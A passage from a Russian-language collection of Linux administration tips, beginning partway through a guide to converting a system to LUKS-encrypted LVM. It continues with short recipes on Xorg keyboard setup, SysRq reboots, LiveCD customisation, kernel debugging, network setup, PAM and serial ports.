    загрузки. Если это не так,
    установите пакет initramfs-tools. Затем создайте следующий файл в каталоге /etc/initramfs-tools/conf.d:
    
       filename: cryptroot
       contents:
       target=lukspace,source=/dev/hda3,key=none,lvm=vg-root
    
    Затем выполните команду:
    
       # update-initramfs -u
    
    Она создаст образ initrd, который будет знать, где находятся шифрованные разделы после создания.
    
    Создадим, и это обязательно, tar архив вашей системы на внешний носитель:
    
       # tar cSjf /my/external/storage/sysbackup.tar.bz2 /bin/ /boot/ \
        /etc/ /home/ /lib/ /opt/ /root/ /sbin/ /selinux/ /srv/ /usr/ /var/
    
    Если вы хотите повысить скорость выполнения данной операции, уберите флаг 'j' и расширение bz2.
    
    Это позволит сохранить все права доступа, файлы, владельцев файлов и т.д. 
    Как вы можете заметить, я пропустил каталоги /dev/, /media, /mnt, /proc, /sys, /tmp, 
    так как они будут вновь созданы на новой системе (кроме /media).
    
    Я подразумеваю, что никаких действий в системе после сохранения не производится - 
    не открываются консоли и сессии X window, кроме корневой.
    
    Настало время получить данные с внешних хранилищ. Будем считать, что оно примонтировано 
    в /media/abyss. Конечно, /media так же содержит cdrom и прочие полезные вещи.
    
    # tar cSjf /my/external/storage/databackup.tar.bz2 /media/cdrom /media/whatever /media/... 
    Все ЗА ИСКЛЮЧЕНИЕМ точки монтирования внешнего хранилища!
    
    Теперь мы защищены от любых ошибок при конфигурировании.
    
    
    
    ЧАСТЬ 2. Переформатирование диска и создание структуры FELVM.
    
    Помните: если дела приняли дурной оборот - вы всегда можете восстановиться с помощью clonezilla.
    
    Я использую clonezilla CD для большинства работ, где мне нужен live CD.
    
    Загружаем Clonezilla, настраиваем сеть. Затем в консоли (sudo su) выполняем команды:
    
       # aptitude update && aptitude dist-upgrade
    
    Возможно перед этим вам понадобится выполнить что-то подобное:
    
       # ifconfig eth0 up
       # dhclient eth0
    
    После того, как live CD обновит ПО нужно установить следущее:
    
       # aptitude install cryptsetup joe
    
    Joe - мой любимый редактор, поэтому далее мы будем считать, что и ваш тоже.
    
    Очищаем диск!
    
       # cfdisk /dev/hda
    
    и удаляем все разделы за исключением /dev/hda1 (NTFS).
    
    Создаем раздел, с которого будет осуществляться загрузка: /dev/hda2 размером 200 MB.
    
    Затем создаем другой раздел, занимающий все свободное пространство(/dev/hda3). 
    Его в последствии будет занимать rootfs и данные.
    
    Записываем таблицу разделов на диск и выходим.
    
    Мы все поломали, но не стоит волноваться, все будет восстановлено с tar архивов.
    
    Окончательно удаляем наши данные, заполняя все случайными последовательностями, 
    заодно проверяя наличие badblock:
    
       # badblocks -s -w -t random -v /dev/hda2
       # badblocks -s -w -t random -v /dev/hda3
    
    На выполнение этих команд требуется время, так что будьте терпеливы.
    
    Создаем файловую систему на загрузочном разделе:
    
       # mkfs.ext3 /dev/hda2
    
    Используя cryptsetup создадим большой раздел как устройство dm-crypt. Это очень просто:
    
       # cryptsetup -y -s 256 -c aes-cbc-essiv:sha256 luksFormat /dev/hda3
    
    Я не буду приводить объяснение всех опций, если хотите - посмотрите сами. 
    Обязательно выберите хорошее ключевое слово, которое вы сможете запомнить. 
    Позже вы сможете сменить его или сделать несколько ключевых слов.
    
    Подошло время использовать инициализированное пространство:
    
       # cryptsetup luksOpen /dev/hda3 lukspace
    
    Эта команда спросит у вас ранее введенное ключевое слово и сделает доступным /dev/mapper/lukspace. 
    Это может быть расценено как устройство, готовое принять любой вид данных. 
    Вы можете форматировать его в ext3 или построить LVM, чем мы сейчас и займемся.
    
    Создаем LVM:
    
       # pvcreate /dev/mapper/lukspace
       # vgcreate vg /dev/mapper/lukspace
       # lvcreate -L10G -nroot vg
       # lvcreate -l 100%FREE -nmyspace vg
    
    Так мы получим логический том LVM /dev/vg/root для корневой файловой системы и
    /dev/vg/myspace для наших данных.
    Это было несложно, не так ли?
    
    Дальше еще проще:
    
       # mkfs.ext3 /dev/vg/root
       # mkfs.ext3 /dev/vg/myspace
    
    
    ЧАСТЬ 3. Восстановление системных файлов и загрузка новой системы.
    
    После того, как вы создадите место для корневой файловой системы, настанет 
    пора разархивировать туда наши данные.
     
    Сперва создадим точку монтирования, которую назовем /media/rootfs и затем:
    
       # mount /dev/vg/root /media/rootfs
    
    а теперь:
    
       # cd /media/rootfs
       # tar xSjf /external_storage/sysbackup.tar.bz2
    
    После чего ждем завершения процесса.
    
    Создаем каталоги, которые не были сархивированы:
    
       # mkdir proc sys media dev tmp mnt
       # chmod 1777 tmp
    
    Теперь создаем точку монтирования bootfs и монтируем к ней будущий загрузочный раздел:
    
       # mkdir bootfs
       # mount /dev/hda2 bootfs
    
    Затем перемещаем загрузочные файлы из rootfs/boot в bootfs. Теперь /dev/hda2 
    содержит все необходимые для загрузки файлы. И последнее - изменим файл fstab  в rootfs/etc 
    таким образом, чтобы указать новое устройство /dev/vg/root.
    
    Перезагружаемся. После загрузки grub нажимаем 'e' для редактирования опций ядра и 
    указания правильного root=..., чтобы машина могла загрузиться.
    
    Хочется надеяться, что LUKS спросит у вас кодовое слово, и все пойдет хорошо!
    
    После того, как вы наиграетесь с вашей зашифрованной системой, отредактируйте /boot/grub/menu.lst 
    для указания корректного устройства root=... и запустите update-grub.
    
    Giorgos Pallas
    
     
    ----* Настройка клавиатуры для Xorg при работающем hal-0.5.10 (доп. ссылка 1)   Автор: Kroz  [комментарии]
     
    Решение представлено для Gentoo, но возможно проблема актуальна и для других дистрибутивов.
    При обновлении hal до версии 0.5.10 перестает нормально работать 
    клавиатура. По множественным отзывам в Сети, у всех перестает 
    работать преключатель раскладки, у меня еще были глюки с другими 
    клавишами (например кнопка "вверх" работала как PrtScr и др.)
    
    Для начала приведу часть xorg.conf который у меня работал испокон веков:
    
       Section "InputDevice"
           Identifier  "Chicony"
           Driver "kbd"
           Option "Protocol" "Standard"
           Option "XkbModel"    "pc105"
           Option "XkbRules"   "xorg"
           Option "XkbLayout"  "us,ru,ua"
           Option "XkbVariant" ",winkeys"
           Option "XkbOptions" "grp:lwin_toggle,grp_led:scroll"
           Option "AutoRepeat" "250 30"
       EndSection
    
    Причина того, что эта конфигурация отвалилась, состоит в том, что новая 
    версия hal просто игнорирует конфиг xorg.conf.
    
    Нашел два метода решения проблемы.
    
    Первый метод:
    http://ru.gentoo-wiki.com/HOWTO_hal_и_устройства_ввода
    
    Смысл в том, что создается файл политики hal, который содержит конфигурацию клавиатуры:
    
       /usr/share/hal/fdi/policy/20thirdparty/10russian-layout.fdi
    
    Учитывая, что в статье есть небольшие ошибки, приведу свой файл 
    конфигурации. Рекомендую сопоставлять с приведенным выше xorg.conf
    
       <?xml version="1.0" encoding="ISO-8859-1"?><!-- -*- SGML -*- -->
       <match key="info.capabilities" contains="input.keyboard">
            <merge key="input.x11_driver" type="string">kbd</merge>
            <merge key="input.xkb.model" type="string">pc105</merge>
            <merge key="input.xkb.rules" type="string">xorg</merge>
            <merge key="input.xkb.layout" type="string">us,ru</merge>
            <merge key="input.xkb.variant" type="string">,winkeys</merge>
            <merge key="input.xkb.options"   type="strlist">grp:lwin_toggle,grp_led:scroll</merge>
       </match>
    
    Думаю смысл понятен.
    
    После создания файла следует пергрузить hald и перегрузить иксы.
    
    Недостаток этого метода состоит в том, что я так и не смог настроить переключение трех языков.
    
    
    Второй метод:
    
    
    Второй метод состоит в том, что мы отключаем автоопределение 
    устройств. Для этого в xorg.conf в секцию ServerLayout дописываем 
    Option "AutoAddDevices" "False". После перегрузки иксов настройки 
    клавиатуры берутся из xorg.conf.
    
    Подозреваю, что у второго метода есть свои недостатки, но я их пока не обнаружил.
    
     
    ----* Перезагрузка Linux машины через SysRQ (доп. ссылка 1)   Автор: DoktorPZ  [комментарии]
     
    Иногда возникает ситуация, когда удаленно, по ssh например, нужно перезагрузить linux сервер. 
    Команды reboot, shutdown не работают так как нужно, то есть просто висят в
    процессах, но машина не уходит в перезагрузку.
    
    Такое часто бывает, когда отказывает диск, или начинаются проблемы с RAID массивом. 
    Для форсирования перезагрузки сервера нам подойдет sysrq.
    
    Для начала включаем sysrq через proc:
    
       echo 1 > /proc/sys/kernel/sysrq
    
    Далее посылаем нужную команду в sysrq триггер:
    
       echo b > /proc/sysrq-trigger
    
    Как показывает практика, машина мгновенно уходит в reboot.
    
     
    ----* Уменьшение размера стандартного LiveCD Fedora 7 (доп. ссылка 1)   [комментарии]
     
    Задача ужать стандартный GNOME-LiveCD Fedora7 до 400 Мб. 
    Ниже журнал действий.
    
    1. Извлекаем из iso образа LiveCD squashfs.img.
    
       mount -o loop ./Fedora-7-Live-i686.iso /mnt/cdrom
       копируем все в отдельную директорию директорию /mnt/disk/LiveCD/newcd
       umount /mnt/cdrom
    
    
    2. Монтируем squashfs.img и извлекаем из него os.img
    
       mount -o loop -t squashfs /mnt/disk/LiveCD/newcd/squashfs.img /mnt/cdrom
       копируем содержимое в /mnt/disk/LiveCD/new_ext3
       umount /mnt/cdrom
    
    
    3. Монтируем ext3 образ /mnt/disk/LiveCD/new_ext3/os.img
    
       mount -o loop /mnt/disk/LiveCD/new_ext3/os.img /mnt/disk/LiveCD/new_ext3/sysroot
    
    
    4. Удаляем лишнее и устанавливаем недостающее.
    
       chroot /mnt/disk/LiveCD/new_ext3/sysroot /bin/sh
       su -
       mount /proc
       mount /sys
       rm -rf /usr/share/doc
       в /usr/share/locale/ - оставляем только русские и английские локали
       cd /usr/share/icons; rm -rf Bluecurve gnome
       В /usr/share/pixmaps заменяем недостающее, чистим pixmaps/backgrounds/
       копируем свою фоновую картинку   
         cp  background.jpg /usr/share/gdm/themes/FedoraFlyingHigh
         cp  background.jpg /usr/share/backgrounds/images/default.jpg
        Чистим /usr/share/backgrounds
       Удаляем пакеты с китайскими шрифтами:
       rpm -e fonts-chinese fonts-arabic fonts-korean fonts-japanese
       Если rpm ругается, делаем "rpm --rebuilddb"
       Если нужно создать какие-то директории или произвести действия в момент старта livecd 
          правим fedora-live в /etc/rc.d/init.d
       Ставим желаемые пакеты, например, конфигуратор PPTP:
        rpm -Uvh http://pptpclient.sourceforge.net/yum/stable/fc7/pptp-release-current.noarch.rpm
        yum --enablerepo=pptp-stable install pptpconfig
       ....
       umount /proc
       umount /sys
    
    
    5. После приведения os.img в нужный вид, создаем новый пустой os.img и 
    копируем содержимое старого (нужно забить образ нулями, чтобы он лучше сжался, 
    иначе изменения будут только в метаданных и итоговый образ squashfs после
    сжатия получиться больше чем начальный).
    
       cd mnt/disk/LiveCD/new_ext3
       dd if=/dev/zero of=new_os.img bs=1k count=4096k
       /sbin/mkfs.ext3 -F -L "LiveCD" -m 1 new_os.img
       /sbin/tune2fs -c0 -i0 -Odir_index -ouser_xattr,acl new_os.img
    
       Монтируем новый образ
       mkdir /mnt/disk/LiveCD/new_ext3/new_sysroot
       mount -o loop ./new_os.img /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       Копируем содержимое старого через rsync, чтобы сохранить расширенные атрибуты файлов.
       rsync -a -v --acls --xattrs --hard-links /mnt/disk/LiveCD/new_ext3/sysroot /mnt/disk/LiveCD/new_ext3/new_sysroot
    
       незабываем размонтировать и переименовать новый образ
       umount /mnt/disk/LiveCD/new_ext3/sysroot
       umount /mnt/disk/LiveCD/new_ext3/new_sysroot
       rm  /mnt/disk/LiveCD/new_ext3/new_sysroot
       mv /mnt/disk/LiveCD/new_ext3/new_os.img /mnt/disk/LiveCD/new_ext3/os.img
    
    
    6. Сжимаем ext3 образ
    
       rm /mnt/disk/LiveCD/newcd/squashfs.img
       cd /mnt/disk/LiveCD/new_ext3/
       /sbin/mksquashfs os.img sysroot /mnt/disk/LiveCD/newcd/squashfs.img
    
    
    7. Создаем iso образ для записи на CD:
    
       mkisofs -o ./live.iso -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
         -boot-info-table -J -r -hide-rr-moved -V "Fedora-7-Live-i386" /mnt/disk/LiveCD/newcd/
    
      Если появится желание изменить метку диска Fedora-7-Live-i386, не забудьте поменять ее в isolinux/isolinux.cfg
    
     
    ----* VMWare Workstation 6 для отладки ядра Linux (доп. ссылка 1)   Автор: Тарасенко Николай  [комментарии]
     
    Недавно была добавлена интересная особенность в Workstation 6.0, которая делает
    WS6 отличным средством
    для отладки ядра Linux. Теперь можно с легкостью отлаживать Linux VM на хосте при помощи gdb 
    без каких-либо изменений в Guest VM. Ни каких kdb, перекомпиляций или еще одной
    машины не требуется.
    Все что вам потребуется, так это всего одна строчка в VM'шном конфигурационном файле.
    
    Чтобы использовать новую особенность, необходимо достать последний билд WS6:
       http://www.vmware.com/products/beta/ws/
    
    Разместить в вашем Linux VM конфигурационном файле строчку:
    
       debugStub.listen.guest32=1
    
    Теперь, всякий раз, когда вы запускаете виртуальную машину, Вы будете видеть на хост консоле:
    
       VMware Workstation is listening for debug connection on port 8832.
    
    Запустите gdb на хосте, ссылаясь на ядро, для которого у Вас есть System.map и
    присоедините его к виртуальной машине:
    
       % gdb
       (gdb) file vmlinux-2.4.21-27.EL.debug
       (gdb) target remote localhost:8832
    
     
    ----* Сетевая консоль для отладки зависаний Linux (доп. ссылка 1)   Автор: niol, debian-administration.org  [комментарии]
     
    Модуль Linux ядра netconsole позволяет экспортировать консоль на другую машину по сети,
    что полезно для отладки ситуации зависания Linux без вывода диагностики в лог и
    на экран (например, X-ы зависли).
    
    В /etc/modprobe.d/ создаем файл или добавляем в /etc/modules.conf:
    
       options netconsole netconsole=32769@192.168.1.1/eth1,32769@192.168.1.6/01:23:34:56:78:9A
    
    где, 
       192.168.1.1:32769  сетевой адрес и порт на eth1 интерфейсе локальной машины, с которого будет производится отправка пакетов.
       192.168.1.6:32769 сетевой адрес, порт и MAC адрес удаленной машины куда будет экспортирована консоль.
    
    На удаленной машине 192.168.1.6, для доступа к консоли используем netcat:
    
       nc -l -p 32769 -u
    
    Подгружаем модуль netconsole:
       modprobe netconsole
    
     
    ----* Как минимизировать проблемы при перезагрузке зависшего Linux (доп. ссылка 1)   Автор: arsgeek.com  [комментарии]
     
    Если консоль зависла, машина работает, но не откликается на CTRL-ALT-BKSPC,
    ALT-CTRL-F1, CTRL-ALT-DEL
    и по сети зайти на машину тоже нет возможности.
    
    "ALT + SysReq + r" - перевести клавиатуру в Raw режим.
    "ALT + SysReq + s" - сбросить буферы FS на диск (может занять много времени,
    если система сильно загружена).
    "ALT + SysReq + e" - отправить сигнал завершения работы процессам.
    "ALT + SysReq + i" - принудительно убить процессы не желающие завершить работу по сигналу KILL.
    'ALT + SysReq + u' - отмонтировать дисковые разделы.
    'ALT + SysReq + b' - перезагрузить машину.
    
    
    PS. Клавиша SysReq совпадает с Print Screen.
    
     
    ----* Обновляем BIOS с загрузкой DOS по сети   Автор: Андрей  [комментарии]
     
    Необходимо загрузить образ DOS по сети.
    
    1. создаем образ:
    
       dd if=/dev/zero of=floppy288.img bs=1024 count=2880
       mkdosfs floppy288.img
       ms-sys -1 -f floppy288.img
       mount -o loop floppy288.img /mnt/floppy
       cp msdos.sys /mnt/floppy
       cp io.sys /mnt/floppy
       cp command.com /mnt/floppy
       umount /mnt/floppy
    
    2. создаем файл загрузчика PXE:
    
       label linux
       kernel dos/memdisk
       append initrd=dos/floppy288.img
    
    Все, далее можно грузиться по сети, и предварительно скопировать в образ
    утилиты для обновления биос.
    
    Файл memdisk bp из пакета syslinux, из дистрибутива.
    Утилита ms-sys на sourceforge.net
    
     
    ----* Как собрать отключенный в конфигурации Linux 2.6 ядра модуль (доп. ссылка 1)   [комментарии]
     
    Чтобы собрать только один модуль входящий в комплект ядра, но отключенный в конфигурации, 
    без пересборки остальных частей (на примере ntfs):
    
       make CONFIG_NTFS_FS=m CONFIG_NTFS_DEBUG=n CONFIG_NTFS_RW=n M=fs/ntfs
    
     
    ----* Аутентификация без пароля через USB Flash в Linux (доп. ссылка 1)   [комментарии]
     
    Цель - организовать аутентификацию пользователя в Linux системе, не через ввод пароля, 
    а через вставку USB флэша или CDROM, содержащего DSA ключ.
    
    1. Устанавливаем  pam_usb (http://pamusb.sourceforge.net/);
    
    2. В /etc/pam.d/login, /etc/pam.d/xdm и т.д. прописываем, в зависимости от режима:
       2.1. Вход только при вставке Flash с ключем:
          auth       required        pam_usb.so
          #auth required pam_unix.so # комментируем строку.
    
       2.2. Можем войти просто вставив Flash или набрав пароль:
          auth       sufficient      pam_usb.so # ставим перед "auth required pam_unix.so"
    
       2.3. Режим входа только при вставке Flash с ключем одновременно с вводом пароля:
          auth       required        pam_usb.so # ставим перед "auth required pam_unix.so"
    
    3. Монтируем Flash в /mnt/usb и генерируем для пользователя ключ:
       usbadm keygen /mnt/usb логин 1024
    
     
    ----* Синхронизация Smartphone Motorola MPx200 под Linux (доп. ссылка 1)   [комментарии]
     
    Есть два способа как заставить MPX200 работать с Linux: IrDA  и wince-usb.
    
    1. Подключение через IrDA (SIR):
      
       Устанавливаем параметры для SiR порта
       /bin/setserial /dev/ttyS1 port 0x6f8 irq 3 uart 8250 baud_base 115200
    
       irattach /dev/ttyS1 -s
       
       Для RedHat-based Linux дистрибутивов делаем проще:
          В /etc/sysconfig/irda 
             IRDA=yes
             DEVICE=/dev/ttyS1
             DISCOVERY=yes
    
          # service irda start
    
       Запускем демон синхронизации (не из под root). Качаем с http://synce.sourceforge.net
          $ dccm
          Если используется пароль запускаем как "dccm -p пароль"
    
       Один раз указываем используемый  порт.
          # synce-serial-config ircomm0
       
       Стартуем pppd (про hotplug, ниже)
          # synce-serial-start
    
       Проверяем.
          $ pstatus
    
    Version
    =======
    Version:    4.20.0 (Microsoft Windows Mobile 2003 for Pocket PC Phone Edition (?))
    Platform:   3 (Windows CE)
    .....
    
       Завершаем сеанс
          # synce-serial-abort
    
    
    2. Подключение по USB.  Для 2.4.x ядра используем user space драйвер wince-usb
       http://cvs.sourceforge.net/viewcvs.py/synce/wince-usb/  + http://libusb.sourceforge.net 
      (последние 2.6.x ядра должны работать с модулями ipaq и usb-serial из коробки).
    
       Патчим. В самом начале ipaqd.c меняем значения IPAQ_ENDPOINT на
          #define IPAQ_ENDPOINT_IN        0x82                                            
          #define IPAQ_ENDPOINT_OUT       0x02  
    
       Далее в devlist[]  добавляем                                                                 
            { 0x045e, 0x00ce, "Motorola MPX200" },  
    
       Создаем /usr/local/bin/cebox.sh взяв пример из README к wince-usb, например:
          #!/bin/sh
          /usr/sbin/pppd nocrtscts local debug passive silent 192.168.1.1:192.168.1.2 ms-dns 192.168.1.1 noauth proxyarp
    
          $ dccm
    
       Подключаем телефон и сразу запускаем
          # rmmod ipaq (пока не поправили hotplug)
          # ipaqd 2>/var/log/ipaqd.log
    
       Далее запускаем synce-serial-* как в предыдущем шаге.
    
    3. Настройка HotPlug (чтобы все запускалось автоматически).
    
       В /etc/hotplug/usb.agent добавляем после блока с "LABEL="USB product $PRODUCT":
    
          if [ "$PRODUCT" = "45e/ce/0" ]; then
               /etc/hotplug/usb/ipaq
               exit 0
          fi
    
       Создаем /etc/hotplug/usb/ipaq
           #!/bin/bash
           killall -9 ipaqd
           killall dccm
           su -c /usr/bin/dccm /user/
           /usr/local/bin/ipaqd 2>/var/log/ipaq.log
    
    4. Стандартные команды synce:
          pcp - копирование файлов (аналог cp)
          pls - список файлов в директории (аналог ls)
          pmkdir - создание директории (аналог mkdir)
          pmv - перенос/переименование файлов (аналог mv)
          prm - удаление файлов (аналог rm)
          prmdir - удаление директорий
          prun - запуск программы на устройстве
          pstatus - статус устройства
          synce-install-cab - установка на устройство .cab файла
          orange - позволяет выдрать .cab из .exe инсталлера;
    
    
    В Modnight Commander удобно использовать VFS понимающую команды
    "cd #synce" и "cd #synceroot", 
    правда модуль раздаваемый на сайте synce у меня не заработал, пришлось его переписать: 
    ftp://ftp.opennet.ru/pub/sys/shell/synce-mcfs-patched/
    Для работы, копируем файлы synce и synceroot в /usr/lib/mc/extfs
    К extfs.ini добавляем:
       synce                                                                           
       synceroot
    
    Хорошая графическая оболочка для синхронизации календаря и адресной книги -
    MultiSync (http://multisync.sourceforge.net/)
    
     
    ----* Включение поддержки PAM в Slackware Linux (доп. ссылка 1)   Автор: Zebr  [комментарии]
     
    Берём:
       Slackware
       http://www.kernel.org/pub/linux/libs/pam/pre/library/
       http://www.kernel.org/pub/linux/utils/util-linux/
       ftp://ftp.pld.org.pl/software/shadow/
    
    Собираем PAM:
       ./configure
       make
       make install
    
    Собираем util-linux
      редактируем в MCONFIG переменную 
       HAVE_PAM=yes
    
    После чего стандартно
       ./configure
       make
       make install
    
    Собираем shadow
       ./configure --with-libpam
       make
       make install
    
    Система авторизации готова
    описание подключаемых модулей в /etc/pam.conf
    
    PS взято с http://linio.boo.pl/
    тамошний конфиг (мне не особо понравился) http://linio.boo.pl/pam_linio.conf
    
     
    ----* Подключение к беспроводной сети под Linux (доп. ссылка 1)   [комментарии]
     
    0. Убеждаемся, что наш беспроводной адаптер в списке поддерживаемых в Linux
    (http://www.linux-wlan.org/docs/wlan_adapters.html.gz)
    на сайте http://www.linux-wlan.org/
    
    1. Подгружаем модуль ядра: insmod prism2_usb
    
    2. Активируем wlan0
       wlanctl-ng wlan0 lnxreq_ifstate ifstate=enable
    
    3. Устанавливаем SSID для используемой сети
       wlanctl-ng wlan0 lnxreq_autojoin ssid=stayoutofmynet authtype=opensystem
    
    4. Выставляем атрибуты WEP
       wlanctl-ng wlan0 lnxreq_hostwep encrypt=true decrypt=true
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11PrivacyInvoked=true
    
    5. Используем WEP ключ
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKeyID=3
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKey3=12:34:56:78:9A
    
    6. Конфигурируем IP
       ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
       route add default gw 192.168.1.11
    
     
    ----* Настройка параметров последовательного порта в Gentoo Linux  (доп. ссылка 1)   Автор: Roman A Egunkov  [комментарии]
     
    Исправляем (ели нужно) в файле ``/etc/init.d/serial''
    
       SETSERIAL="/sbin/setserial"
    на
       SETSERIAL="/bin/setserial"
    
    Конфигурация должна находиться в файле ``/etc/rc.d/config/serial''
    
    Пример конфигурации:
    
    root # cat /etc/rc.d/config/serial  
       #!/etc/init.d/serial
       # setup serial ports
       # setport(device, irq, port, args)
    
       setports()
       {
           setport ttyS2 19 0xa400 "baud_base 9600"
           setport ttyS3 19 0xa000 "baud_base 115200"
           setport ttyS4 18 0xbc00 "baud_base 115200"
           setport ttyS5 19 0xb800 "baud_base 115200"
       }
    
     
    ----* Примеры сетевых настроек в Linux дистрибутивах c /etc/sysconfig   [комментарии]
     
    Список опций: /usr/share/doc/initscripts* и /usr/share/doc/net-scripts*
    
    Алиасы:
       /etc/sysconfig/network-scripts/ifcfg-eth0:1
          DEVICE=eth0:1
          BOOTPROTO=static
          IPADDR=192.168.1.1
          NETMASK=255.255.255.0
          ONBOOT=yes
    
    Множественное задание алиасов:
    
       /etc/sysconfig/network-scripts/ifcfg-eth0-range0
          DEVICE=eth0:1-10
          BOOTPROTO=static
          IPADDR_START=192.168.10.100
          IPADDR_END=192.168.10.110
          CLONENUM_START=0
          NETMASK=255.255.255.0
          ONBOOT=yes
    
       или /etc/sysconfig/network-scripts/ifcfg-eth0:0:
          IPADDR=192.168.1.1-10
    
    Вланы:
    
       /etc/sysconfig/vlan
          DOT1Q_VLANS=yes
          VLAN_NAMING=VLAN_PLUS_VID
    
       /etc/sysconfig/network-scripts/ifcfg-vlan0002
          DEVICE=vlan0002
          VLAN_TRUNK_IF=eth0
          BOOTPROTO=static
          IPADDR=192.168.1.1
          NETMASK=255.255.255.252
          ONBOOT=yes
    
    IP туннель:
       /etc/sysconfig/network-scripts/ifcfg-iptun0
          DEVICE=iptun0
          TUNLOCAL=172.16.0.2
          TUNREMOTE=172.16.0.1
          PHYSLOCAL=192.168.1.1
          PHYSREMOTE=192.196.2.1
          TTL=16
          TYPE=ipip # можно gre
          ONBOOT=yes
    
    IPSec:
       /etc/sysconfig/network-scripts/ifcfg-ipsectun0
          DEVICE=ipsectun0
          TUNLOCAL=10.0.0.1
          TUNREMOTE=10.0.0.2
          PHYSLOCAL=192.168.0.1
          PHYSREMOTE=192.168.0.2
          SPI=0x1000
          # Each tunnel must have CIPHER and/or DIGEST.
          # Basedir for CIPHERFILE and DIGESTFILE is /etc/ipsec.
          CIPHER=3des-cbc
          CIPHERFILE=random-3des.key
          DIGEST=md5
          DIGESTFILE=random-md5.key
          ONBOOT=no
    
     
    ----* Объединение сетевых интерфейсов под Linux (доп. ссылка 1)   [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c.
    
    Документация: Documentation/networking/bonding.txt в дереве исходных текстов
    ядра и "modinfo bonding".
    Кратко:
       Подгружаем модуль ядра "bonding", в /etc/modules.conf указываем
         alias bond0 bonding
       При желании устанавливаем опции для доп. настройки модуля, например:
         options bond0 mode=2, где mode=
            0 - balance-rr (Round-robin выбор интерфейса)
            1 - active-backup (работает только один интерфейс, остальные в режиме горячей замены)
            2 - balance-xor - для всех пересылок на MAC закрепляется один из интерфейсов
            3 - broadcast - трафик идет через оба интерфейса одновременно
            4 - 802.3ad - для коммутаторов с поддержкой IEEE 802.3ad Dynamic link aggregation
            5 - balance-tlb, 6 - balance-alb
       /sbin/ifconfig bond0 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up
       /sbin/ifenslave bond0 eth0
       /sbin/ifenslave bond0 eth1
    
    Или для дистрибутивов в которых используется пакет initscripts (http://rhlinux.redhat.com/initscripts/):
    
       /etc/sysconfig/network-scripts/ifcfg-bond0
         DEVICE=bond0
         BOOTPROTO=static
         BROADCAST=192.168.63.255
         IPADDR=192.168.1.1
         NETMASK=255.255.255.0
         NETWORK=192.168.0.0
         ONBOOT=yes
    
       /etc/sysconfig/network-scripts/ifcfg-eth0
         DEVICE=eth0
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
       /etc/sysconfig/network-scripts/ifcfg-eth1
         DEVICE=eth1
         BOOTPROTO=static
         ONBOOT=yes
         MASTER=bond0
         SLAVE=yes
         USERCTL=no
    
     
    ----* Как посмотреть какой процесс открыл слишком много файлов под Linux   [комментарии]
     
      find /proc -name fd -type d -exec sh -c "echo \`ls {}|wc -l\` {}" \;|sort -n -r|head
     или использовать утилиту lsof
    
     
    ----* Как, после сборки ядра Linux, инициализировать initrd (ядро падает при монтировании root раздела) (доп. ссылка 1)   Автор: as  [комментарии]
     
    initrd - RAM-диск, инициализируемый загрузчиком, требуется для подключения
    модулей ядра, необходимых
    на этапе до монтирования root-раздела, (например, до монтирования нужно
    подгрузить - ext2/ext3/scsi модули).
    
    1) man initrd - все изумительно описано;
    2) после сборки ядра создаем новый initrd:
        mkinitrd /boot/initrd-2.4.21 2.4.21;
    3) в /etc/lilo.conf:
       initrd=/boot/initrd-2.4.21 
    В mkinitrd сам initrd можно назвать как угодно, но второй параметр обязательно версия ядра. 
    
     
    ----* Как в Linux после kernel panic вместо ожидания действия оператора автоматически выполнять перезагрузку.   [комментарии]
     
    Добавьте в /etc/rc.d/rc.local:
        echo 1 > /proc/sys/kernel/panic
    Т.е. перезагрузка будет выполнена через 1 сек. после panic, если 0 - то не перезагружать а ждать.
    
     
    ----* Почему Linux ядро не использует всю память и пишет "Warning only 960MB will be used".   [комментарии]
     
    Если добавление в lilo append="mem=1536M" не помогает:
    
    Необходимо пересобрать 2.2.x ядро с опцией CONFIG_2GB=y
    Processor type and features -> Maximum Physical Memory -> 2Gb
    
    Если проблема проявляется в ядре 2.4.x - CONFIG_HIGHMEM, CONFIG_HIGHMEM4G или CONFIG_HIGHMEM64G
    
     
    ----* Ограничения трафика с помощью iproute2 (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    tc qdisc add dev eth1 root handle 1: htb default 2 r2q 1
    tc class add dev eth1 parent 1: classid 1:1 htb rate 10mbit ceil 10mbit mtu 1500
    tc class add dev eth1 parent 1:1 classid 1:77 htb rate 32kbit ceil 48kbit mtu 1500 prio 0
    tc class add dev eth1 parent 1:1 classid 1:2  htb rate 128kbit ceil 128kbit mtu 1500
    tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip dport 25 flowid 1:77
    
     
    ----* Переход на журналируемую файловую систему Reiserfs   [комментарии]
     
    - Включаем поддержку Reiserfs в ядре.
    - Устанавливаем reiserfsprogs-3.x.0j.tar.gz 
    - Cоздаем бут дискету (mkbootdisk --device /dev/fd0 2.4.13;
    lilo -C /etc/lilo.flop) 
    - Грузимся с дискеты указав в Lilo приглашении "linux root=/dev/hd init=/bin/bash"
    - mkreiserfs /dev/hda1 
    - mount -t reiserfs /dev/had1 / 
    
     
    ----* Как под Linux установить параметры serial порта (прерывание, адрес порта)   [обсудить]
     
    /bin/setserial -b /dev/ttyS2 uart 16450 port 0x2E8 irq 5
    
     
    ----* Как через poweroff обеспечить выключение системного блока   Автор: Alexander  [обсудить]
     
    Если при наборе /sbin/poweroff отключение питания не срабатывает, то:
       /sbin/modprobe ospm_busmgr 
       /sbin/modprobe ospm_system
    или в /etc/modules.conf:
       alias ospm-busmgr ospm_busmgr
       alias ospm-busmgr ospm_system
    
     
    ----* Как посмотреть параметры и возможные опции для модуля ядра Linux   [обсудить]
     
    Информация о авторе.
       modinfo -a модуль 
    Описание модуля. 
       modinfo -d модуль
    Список возможных параметров.
       modinfo -p модуль
    
     
    ----* Как в Linux выставить принудительно 100Mb FullDuplex для Intel EtherExpress Pro100, а то auto-select с некоторыми свичами не работает. (доп. ссылка 1)   [обсудить]
     
    /sbin/mii-tool -F 100baseTx-FD eth0
    или ethtool -s eth0 speed 100 duplex full autoneg off
    
    Для модуля:
